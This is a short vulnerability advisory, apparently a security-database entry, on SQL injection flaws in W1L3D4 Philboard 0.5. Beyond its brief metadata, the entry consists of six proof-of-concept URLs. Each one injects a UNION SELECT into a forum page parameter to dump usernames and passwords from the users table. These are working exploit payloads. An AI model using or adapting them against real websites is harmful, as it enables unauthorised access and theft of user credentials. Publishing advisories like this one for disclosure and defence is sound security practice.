exploits , vulnerabilities , articles , W1L3D4 Philboard Multiple SQL Injection Vulnerabilities

Title	W1L3D4 Philboard Multiple SQL Injection Vulnerabilities
Published	2008-05-14-12:00AM
Updated	2008-05-15-06:25PM
Class	Input Validation Error
CVE
Remote	Yes
Local	No
Credit	U238
Vulnerable	W1L3D4 Philboard 0.5
Not Vulnerable
Code	Attackers can use a browser to exploit these issues.The following proof-of-concept URIs are available: http://www.example.com:2222/lab/philboard_v5/admin/philboard_admin-forumedit.asp?forumid=1+union+select+0,username,password,4,5,1,1+from+users http://www.example.com:2222/lab/philboard_v5/admin/philboard_admin-forum.asp?forumid=1+union+select+0,2,3,4,5,2,password,7,1,1,1,username,1,1,1,1,1,1,password+from+users http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuoku.asp?id=1+union+select+0,1,2,3,4,5,6,1,1,1,1,1,1,1,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,8,9,1,1,1,1,1,1,1,1,1,1+from+users http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuya_mesaj_yaz.asp?id=1+union+select+(password),username,password,password,4,1,1,1,null,1,password,password,password,password,password+from+users http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuya_mesaj_yaz.asp?topic=1+union+select+0,1,username,3,password,5,6+from+users http://www.example.com:2222/lab/philboard_v5/W1L3D4_foruma_yeni_konu_ac.asp?forumid=1+union+select+0,1,(username),(password),1,1+from+users
TXT